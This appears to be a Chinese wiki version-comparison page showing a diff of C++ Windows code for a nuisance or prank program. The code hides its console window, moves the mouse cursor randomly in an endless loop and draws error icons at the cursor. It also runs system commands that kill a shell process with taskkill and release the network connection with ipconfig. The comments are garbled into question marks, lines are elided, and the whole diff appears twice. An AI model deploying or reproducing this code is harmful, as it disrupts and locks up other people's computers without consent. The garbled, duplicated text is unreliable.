版本比较
逝世
正文
增加 14 行删除 14 行
2 行未改动34567891011121314151617181912 行未改动32333435363738394041424344452 行未改动4849505152535455568 行未改动65666768697071727348 行未改动1221231241251261271281291301311321331342 行未改动2 行未改动#include <windows.h>using namespace std;/*void Make_Text(string same, string name){//HWND hWnd = GetConsoleWindow();//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);ofstream outfile(same,ios::out);if (!outfile){cerr<<"open error"<<endl;}outfile<<name;outfile.close();}*///??????void shutdown(int x, int y){12 行未改动int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//?q?1?,??????while(1)SetCursorPos(rand() % x, rand() % y);else{//???????while(q){SetCursorPos(rand() % x, rand() % y);q--;}}}//???????void Hide()2 行未改动s = FindWindow("ConsoleWindowClass", NULL);//????????if (s) {ShowOwnedPopups(s, SW_HIDE);//????????????????????ShowWindow(s, SW_HIDE);//????}}//??????void Icon(int x, int y, int n){8 行未改动DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//?????DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 3)//??????DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));}}//??void Die()48 行未改动}}void explore()//?????????{system("taskkill /im explore.exe /f");}void release()//????{system("ipconfig /release");}int main(){Currur(1);2 行未改动2 行未改动34567891011121314151617181912 行未改动32333435363738394041424344452 行未改动4849505152535455568 行未改动65666768697071727348 行未改动1221231241251261271281291301311321331342 行未改动2 行未改动#include <windows.h>using namespace std;/*void Make_Text(string same, string name){//HWND hWnd = GetConsoleWindow();//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);ofstream outfile(same,ios::out);if (!outfile){cerr<<"open error"<<endl;}outfile<<name;outfile.close();}*///??????void shutdown(int x, int y){12 行未改动int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//?q?1?,??????while(1)SetCursorPos(rand() % x, rand() % y);else{//???????while(q){SetCursorPos(rand() % x, rand() % y);q--;}}}//???????void Hide()2 行未改动s = FindWindow("ConsoleWindowClass", NULL);//????????if (s) {ShowOwnedPopups(s, SW_HIDE);//????????????????????ShowWindow(s, SW_HIDE);//????}}//??????void Icon(int x, int y, int n){8 行未改动DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//?????DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 3)//??????DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));}}//??void Die()48 行未改动}}void explore()//?????????{system("taskkill /im explore.exe /f");}void release()//????{system("ipconfig /release");}int main(){Currur(1);2 行未改动